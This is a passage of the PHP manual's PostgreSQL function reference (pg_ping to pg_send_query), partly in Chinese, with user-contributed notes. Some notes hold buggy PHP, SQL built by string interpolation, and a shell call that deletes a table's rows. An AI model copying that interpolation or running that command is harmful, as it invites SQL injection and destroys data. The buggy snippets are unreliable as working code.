The "Options" parameter. It seems to worry some users...
Refering to the libpq doc of Postgres, it is used to set trace/debug options to be sent to backend.
Probably no use for a PHP3 programmer.
add a note add a note

后退 | 起点 | 前进
pg_parameter_status | 上一级 | pg_ping


pg_ping

(PHP 4 >= 4.3.0, PHP 5)

pg_ping -- Ping 数据库连接

说明

bool pg_ping ( resource connection )

pg_ping() ping 数据库连接，如果中断则尝试重新连接。如果连接在活动状态返回 TRUE，否则返回 FALSE。

例子 1. pg_ping()

<?php
$conn = pg_pconnect ("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

if (!pg_ping($conn))
    die("Connection is broken\n");
?>
参见 pg_connection_status() 和 pg_connection_reset()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_pconnect | 上一级 | pg_port


pg_port

(PHP 3, PHP 4, PHP 5)

pg_port -- 返回该连接的端口号

说明

int pg_port ( resource connection )

pg_port() 返回给定的 PostgreSQL connection 资源所连接的端口号。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_ping | 上一级 | pg_prepare


pg_prepare

(PHP 5 >= 5.1.0RC1)

pg_prepare -- Submits a request to create a prepared statement with the given parameters, and waits for completion.

说明

resource pg_prepare ( resource connection, string stmtname, string query )

resource pg_prepare ( string stmtname, string query )

pg_prepare() creates a prepared statement for later execution with pg_execute() or pg_send_execute(). This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. pg_prepare() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The function creates a prepared statement named stmtname from the query string, which must contain a single SQL command. stmtname may be "" to create an unnamed statement, in which case any pre-existing unnamed statement is automatically replaced; otherwise it is an error if the statement name is already defined in the current session. If any parameters are used, they are referred to in the query as $1, $2, etc.

Prepared statements for use with pg_prepare() can also be created by executing SQL PREPARE statements. (But pg_prepare() is more flexible since it does not require parameter types to be pre-specified.) Also, although there is no PHP function for deleting a prepared statement, the SQL DEALLOCATE statement can be used for that purpose.

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterised SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

返回值

A query result resource on success, or FALSE on failure.

范例

例子 1. Using pg_prepare()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参见

pg_execute()
pg_send_execute()

add a note add a note User Contributed Notes
scott dot marlowe at gmail dot com
07-Mar-2006 11:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org
16-Apr-2005 11:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
   table_a a
LEFT JOIN
   table_b b
ON (
   a.a_id = b.a_id
)
JOIN
   table_c c
ON (
   b.c_id = c.c_id
)
WHERE c.name = $1
SQL;
add a note add a note

后退 | 起点 | 前进
pg_port | 上一级 | pg_put_line


pg_put_line

(PHP 4 >= 4.0.3, PHP 5)

pg_put_line -- 向 PostgreSQL 后端发送以 NULL 结尾的字符串

说明

bool pg_put_line ( [resource connection, string data] )

pg_put_line() 向 PostgreSQL 后端服务器发送以 NULL 结尾的字符串。例如可以通过 PostgreSQL 的 copy 操作来向表中高速插入数据。结尾的 NULL 字符会自动加入。如果成功则返回 TRUE，失败则返回 FALSE。

注: 应用程序必须明确地在最后一行发送两个字符 "\." 来向后端指明发送数据结束。

例子 1. 向表中高速插入数据

<?php
    $conn = pg_pconnect ("dbname=foo");
    pg_query($conn, "create table bar (a int4, b char(16), d float8)");
    pg_query($conn, "copy bar from stdin");
    pg_put_line($conn, "3\thello world\t4.5\n");
    pg_put_line($conn, "4\tgoodbye world\t7.11\n");
    pg_put_line($conn, "\\.\n");
    pg_end_copy($conn);
?>

add a note add a note User Contributed Notes
kurt at nospam dot milliganshome dot net
23-Aug-2005 12:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.
add a note add a note

后退 | 起点 | 前进
pg_prepare | 上一级 | pg_query_params


pg_query_params

(PHP 5 >= 5.1.0RC1)

pg_query_params -- Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

说明

resource pg_query_params ( resource connection, string query, array params )

resource pg_query_params ( string query, array params )

Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_query_params() is like pg_query(), but offers additional functionality: parameter values can be specified separately from the command string proper. pg_query_params() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

If parameters are used, they are referred to in the query string as $1, $2, etc. params specifies the actual values of the parameters. A NULL value in this array means the corresponding parameter is SQL NULL.

The primary advantage of pg_query_params() over pg_query() is that parameter values may be separated from the query string, thus avoiding the need for tedious and error-prone quoting and escaping. Unlike pg_query(), pg_query_params() allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

query

The parameterised SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

A query result resource on success, or FALSE on failure.

范例

例子 1. Using pg_query_params()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Find all shops named Joe's Widgets.  Note that it is not necessary to
// escape "Joe's Widgets"
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// Compare against just using pg_query
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

参见

pg_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_put_line | 上一级 | pg_query


pg_query

(PHP 4 >= 4.2.0, PHP 5)

pg_query -- 执行查询

说明

resource pg_query ( resource connection, string query )

pg_query() 在查询可以执行时返回查询结果资源号。如果查询失败或者提供的连接号无效则返回 FALSE。如果连接号有效，则可以用 pg_last_error() 函数来提取详细的错误信息。pg_query() 发送一条 SQL 语句到 connection 资源指定的 PostgreSQL 数据库。connection 必须是由 pg_connect() 或 pg_pconnect() 返回的合法连接号。本函数返回值是一个其它 PostgreSQL 函数例如 pg_fetch_array() 可以用来访问查询结果的查询结果资源号。

注: connection 是 pg_query() 中的可选参数。如果没有指定 connection，则使用默认连接。默认连接是 pg_connect() 或 pg_pconnect() 所打开的最后一个连接。

尽管 connection 参数可以省略，但不推荐这样做。因为这样可能会导致很难发现脚本中的错误。

注: 本函数以前的名字为 pg_exec()。pg_exec() 函数为了兼容性的原因仍然可以使用，但是鼓励用户使用新的名字。

参见 pg_connect()，pg_pconnect()，pg_fetch_array()，pg_fetch_object()，pg_num_rows() 和 pg_affected_rows()。

add a note add a note User Contributed Notes
zoli at makettinfo.hu
21-May-2006 11:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
   if ($line['rows'] == 0) {
     echo "0 records"
   }
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd
13-May-2006 10:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd
13-May-2006 09:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result) {
     //do stuff with $row
   }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net
27-Nov-2005 09:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
   echo "0 records"
  }
?>

-jack
Jan-Willem Regeer
28-Sep-2005 07:58
In reply to david dot bouriaud at ac-rouen dot fr:

All it is doing is internal caching. How can that be dangerous. If you are going to be deleting records after you have closed the connection it is your problem to make sure you have the latest and greatest records, and not some cached ones. Considering you are writing the script I don't see why it is a problem, you know what you are doing in the script, so it is quite useless for PHP to invalidate the cache, when that could be done upon exiting the script, which would mean there was less time spent cleaning out the cache when it counts most (when returning data to the user).
cmoore
06-Sep-2005 02:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar
02-Dec-2004 12:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
yoshinariatsuo at yahoo dot com
23-Apr-2003 02:59
create table from pg_query results.. hope it helps newbies...
function table_create($result)
{
   $numrows = pg_num_rows($result);
   $fnum = pg_num_fields($result);

   echo "<table border width='100%'>";
   echo "<tr>";

   for ($x = 0; $x < $fnum; $x++) {
       echo "<td><b>";
       echo strtoupper(pg_field_name($result, $x));
       echo "</b></td>";
   }

   echo "</tr>";

   for ($i = 0; $i < $numrows; $i++) {
       $row = pg_fetch_object($result, $i);
       echo "<tr align='center'>";
       for ($x = 0; $x < $fnum; $x++) {
   $fieldname = pg_field_name($result, $x);
   echo "<td>";
   echo $row->$fieldname;
   echo "</td>";
       }
       echo"</tr>";
   }
   echo "</table>";

   return 0;
}
mentat at azsoft dot pl
14-Oct-2002 08:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
     if ($var) {
       echo "<p color=\"red\">ERROR:<pre>";
       echo $sqlQuery;
       echo "</pre>";
       echo $r;
       echo "&lt/p>";
     }
     close_db ();
     return 0;
   }
   return $result;
}
hierophantNOSPAM at pcisys dot net
18-Jun-2002 03:50
Regarding david.bouriaud@ac-rouen.fr:
You misunderstand SQL. When a query is issued, results applicable at the time of the query are returned to the application (i.e. PHP). There is no further reference to the database required. Thus, all of the pg_fetch_* functions are acting on an internal data storage, NOT the database itself. This is because SQL does not have a concept of sets, or of state (except in limited circumstances provided by transactions). However, if you use a cursor instead, fetching only one record at a time, you may get an error if you delete the table. If you don't, it is an issue with Postgres, not PHP.
jvarner at dsrglobal dot com
11-May-2002 06:18
That's why your code should never assume it has the very latest data unless it locks it.
david dot bouriaud at ac-rouen dot fr
08-May-2002 01:54
Hi to all !
It seems that the old pg_exec function does not do what it is expected to.
In the doc, it is said that it returns a resource identifier on the successful querry that was send to the backend.
It seems to me that it is more than a resource identifier.
Follow the example :

<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
$row = pg_fetch_array ($ResId, 4);
?>

I closed the connection voluntarily before the pg_fetch_array. It WORKS !

Now, imagine the following script :
<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
system ("psql base -c delete from table");
$row = pg_fetch_array ($ResId, 4);
?>
See how it could be harmful !!!! I think that the coders have done this for performances reasons, but it is not the right way do do so !!!
add a note add a note

后退 | 起点 | 前进
pg_query_params | 上一级 | pg_result_error_field


pg_result_error_field

(PHP 5 >= 5.1.0RC1)

pg_result_error_field -- Returns an individual field of an error report.

说明

string pg_result_error_field ( resource result, int fieldcode )

pg_result_error_field() returns one of the detailed error message fields associated with result resource. It is only available against a PostgreSQL 7.4 or above server. The error field is specified by the fieldcode.

Because pg_query() and pg_query_params() return FALSE if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

If you need to get additional error information from failed pg_query() queries, use pg_set_error_verbosity() and pg_last_error() and then parse the result.

参数

result

A PostgreSQL query result resource from a previously executed statement.

fieldcode

Possible fieldcode values are: PGSQL_DIAG_SEVERITY, PGSQL_DIAG_SQLSTATE, PGSQL_DIAG_MESSAGE_PRIMARY, PGSQL_DIAG_MESSAGE_DETAIL, PGSQL_DIAG_MESSAGE_HINT, PGSQL_DIAG_STATEMENT_POSITION, PGSQL_DIAG_INTERNAL_POSITION (PostgreSQL 8.0+ only), PGSQL_DIAG_INTERNAL_QUERY (PostgreSQL 8.0+ only), PGSQL_DIAG_CONTEXT, PGSQL_DIAG_SOURCE_FILE, PGSQL_DIAG_SOURCE_LINE or PGSQL_DIAG_SOURCE_FUNCTION.

返回值

A string containing the contents of the error field, NULL if the field does not exist or FALSE on failure.

范例

例子 1. pg_result_error_field() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

参见

pg_result_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_query | 上一级 | pg_result_error


pg_result_error

(PHP 4 >= 4.2.0, PHP 5)

pg_result_error -- 获得查询结果的错误信息

说明

string pg_result_error ( resource result )

pg_result_error() 返回和 result 资源关联的错误信息。因此用户更有机会可以得到比 pg_last_error() 更好的错误信息。

参见 pg_query()，pg_send_query()，pg_get_result()，pg_last_error() 和 pg_last_notice()。

add a note add a note User Contributed Notes
g.anonim
20-Mar-2006 10:15
This function cannot return bool value as stated above.
("Returns TRUE on success or FALSE on failure.")
axon dot wp at wp dot pl
03-Mar-2006 08:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
16-Mar-2004 08:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
   die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
   die("pg_send_query");

  if(!($result = pg_get_result($db)))
   die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
   $fieldcode = array(
     "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
     "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
     "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
     "PGSQL_DIAG_CONTEXT",        "PGSQL_DIAG_SOURCE_FILE",
     "PGSQL_DIAG_SOURCE_LINE",    "PGSQL_DIAG_SOURCE_FUNCTION");

   foreach($fieldcode as $fcode)
   {
     printf("%s: %s<br />\n",
       $fcode,
       pg_result_error_field($result, constant($fcode)));
   }

   pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.
add a note add a note

后退 | 起点 | 前进
pg_result_error_field | 上一级 | pg_result_seek


pg_result_seek

(PHP 4 >= 4.3.0, PHP 5)

pg_result_seek -- 在结果资源中设定内部行偏移量

说明

array pg_result_seek ( resource result, int offset )

pg_result_seek() 在结果资源中设定内部行偏移量。如果出错则返回 FALSE。

参见 pg_fetch_row()，pg_fetch_assoc()，pg_fetch_array()，pg_fetch_object() 和 pg_fetch_result()。

add a note add a note User Contributed Notes
duke at spacebox dot net
09-Dec-2005 06:20
Unfortunately you're limited to a loop with a counter - all the pg_fetch functions increment the row counter *before* fetching a row, so something like

while ($row = pg_fetch_assoc($result)) {...}

is no longer possible after seeking or after fetching one or more results.  IMHO, the while loop is much better to look at than a for loop.

It'd be nice if there were a function to reset the current row to -1.  Perhaps the offset argument to the seek function could be optional; if left out the offset is set to -1.

bool pg_result_seek ( resource result[, int offset] )
andrew-php dot net at andrew dot net dot au
18-Sep-2004 11:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...
add a note add a note

后退 | 起点 | 前进
pg_result_error | 上一级 | pg_result_status


pg_result_status

(PHP 4 >= 4.2.0, PHP 5)

pg_result_status -- 获得查询结果的状态

说明

int pg_result_status ( resource result )

pg_result_status() 返回该查询结果资源的状态。可能的返回值有 PGSQL_EMPTY_QUERY，PGSQL_COMMAND_OK，PGSQL_TUPLES_OK，PGSQL_COPY_TO，PGSQL_COPY_FROM，PGSQL_BAD_RESPONSE，PGSQL_NONFATAL_ERROR 和 PGSQL_FATAL_ERROR。

参见 pg_connection_status()。

add a note add a note User Contributed Notes
Meej Vaj
09-Jun-2005 09:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de
16-Oct-2002 09:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR
add a note add a note

后退 | 起点 | 前进
pg_result_seek | 上一级 | pg_select


pg_select

(PHP 4 >= 4.3.0, PHP 5)

pg_select -- 选择记录

说明

array pg_select ( resource connection, string table_name, array assoc_array [, int options] )

pg_select() 根据 assoc_array 数组中的 field=>value 值来选择记录。成功的查询返回和 assoc_array 指定的条件相匹配的包括记录和字段的数组。如果指定了 options，pg_convert() 会按照指定选项作用于 assoc_array 之上。

例子 1. pg_select

<?php
    $db = pg_connect ('dbname=foo');
    // This is safe, since $_POST is converted automatically
    $rec = pg_select($db, 'post_log', $_POST);
    if ($rec) {
        echo "Records selected\n";
        var_dump($rec);
    }
    else {
        echo "User must have sent wrong inputs\n";
    }
?>

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_convert()。

add a note add a note User Contributed Notes
wietse at cj2 dot nl
28-Feb-2006 12:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
   $conn_string = "dbname=mydb";
   $db = pg_connect($conn_string);
   $selectfields = array("imgid" => "");
   $records = pg_select($db,"mmsfiles",$selectfields);
   print_r($records);
?>
...I get this result:
Array
(
   [0] => Array
       (
           [imgid] => 1
           [file] => /home/wietse/public_html/mms/images/1.gif
           [thumb] =>
       )
   [1] => Array
       (
           [imgid] => 2
           [file] => /home/wietse/public_html/mms/images/2.gif
           [thumb] =>
       )
   [2] => Array
       (
           [imgid] => 3
           [file] => /home/wietse/public_html/mms/images/3.gif
           [thumb] =>
       )
   [3] => Array
       (
           [imgid] => 4
           [file] => /home/wietse/public_html/mms/images/4.gif
           [thumb] =>
       )
)
david dot tulloh at infaze dot com dot au
17-May-2005 12:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.
add a note add a note

后退 | 起点 | 前进
pg_result_status | 上一级 | pg_send_execute


pg_send_execute

(PHP 5 >= 5.1.0RC1)

pg_send_execute -- Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

说明

bool pg_send_execute ( resource connection, string stmtname, array params )

Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

This is similar to pg_send_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. The function's parameters are handled identically to pg_execute(). Like pg_execute(), it will not work on pre-7.4 versions of PostgreSQL.

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

范例

例子 1. Using pg_send_execute()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

参见

pg_prepare()
pg_send_prepare()
pg_execute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_select | 上一级 | pg_send_prepare


pg_send_prepare

(PHP 5 >= 5.1.0RC1)

pg_send_prepare -- Sends a request to create a prepared statement with the given parameters, without waiting for completion.

说明

bool pg_send_prepare ( resource connection, string stmtname, string query )

Sends a request to create a prepared statement with the given parameters, without waiting for completion.

This is an asynchronous version of pg_prepare(): it returns TRUE if it was able to dispatch the request, and FALSE if not. After a successful call, call pg_get_result() to determine whether the server successfully created the prepared statement. The function's parameters are handled identically to pg_prepare(). Like pg_prepare(), it will not work on pre-7.4 versions of PostgreSQL.

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterised SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

返回值

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

范例

例子 1. Using pg_send_prepare()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

参见

pg_connect()
pg_pconnect()
pg_execute()
pg_send_execute()
pg_send_query_params()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_send_execute | 上一级 | pg_send_query_params


pg_send_query_params

(PHP 5 >= 5.1.0RC1)

pg_send_query_params -- Submits a command and separate parameters to the server without waiting for the result(s).

说明

bool pg_send_query_params ( resource connection, string query, array params )

Submits a command and separate parameters to the server without waiting for the result(s).

This is equivalent to pg_send_query() except that query parameters can be specified separately from the query string. The function's parameters are handled identically to pg_query_params(). Like pg_query_params(), it will not work on pre-7.4 PostgreSQL connections, and it allows only one command in the query string.

参数

connection

PostgreSQL database connection resource.

query

The parameterised SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

Use pg_get_result() to determine the query result.

范例

例子 1. Using pg_send_query_params()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Using parameters.  Note that it is not necessary to quote or escape
  // the parameter.
  pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

  // Compare against basic pg_send_query usage
  $str = pg_escape_string('Perth');
  pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

参见

pg_send_query()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_send_prepare | 上一级 | pg_send_query


pg_send_query

(PHP 4 >= 4.2.0, PHP 5)

pg_send_query -- 发送异步查询

说明

bool pg_send_query ( resource connection, string query )

bool pg_send_query ( string query )

pg_send_query() 向 connection
连接发送异步查询。和 pg_query() 不同，它可以向 PostgreSQL
发送多个查询并用 pg_get_result()
依次得到结果。当执行查询时脚本的执行不会被锁定。用
pg_connection_busy() 来检查连接连接是否为忙（即查询正在执行中）。调用
pg_cancel_query() 则有可能取消查询。

尽管用户可以一次发送多个查询，但用户不能通过正忙的连接发送多个查询。如果向正忙的连接发送了查询，则会等待上一条查询结束并丢弃所有结果。

例子 1. 异步查询

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    if (!pg_connection_busy($dbconn)) {
        pg_send_query($dbconn,"select * from authors; select count(*) from authors;");
    }
    $res1 = pg_get_result($dbconn);
    echo "First call to pg_get_result(): $res1\n";
    $rows1 = pg_num_rows($res1);
    echo "$res1 has $rows1 records\n\n";
    $res2 = pg_get_result($dbconn);
    echo "second call to pg_get_result(): $res2\n";
    $rows2 = pg_num_rows($res2);
    echo "$res2 has $rows2 records\n";
?>

上例输出如下：

first call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

参见 pg_query()，pg_cancel_query()，pg_get_result() 和 pg_connection_busy()。

add a note add a note User Contributed Notes
vincentdephily
29-Nov-2005 09:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
   $left = stack_query($q, $conn);
   echo "$left left... ";
   $result = pg_get_result($conn);
   if ($left == 0 && $result === FALSE)
     break;
   $row = pg_fetch_assoc($result);
   // depending on race conditions, you wont get all your original queries here.
   echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
   $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
   pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com
03-Sep-2003 05:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

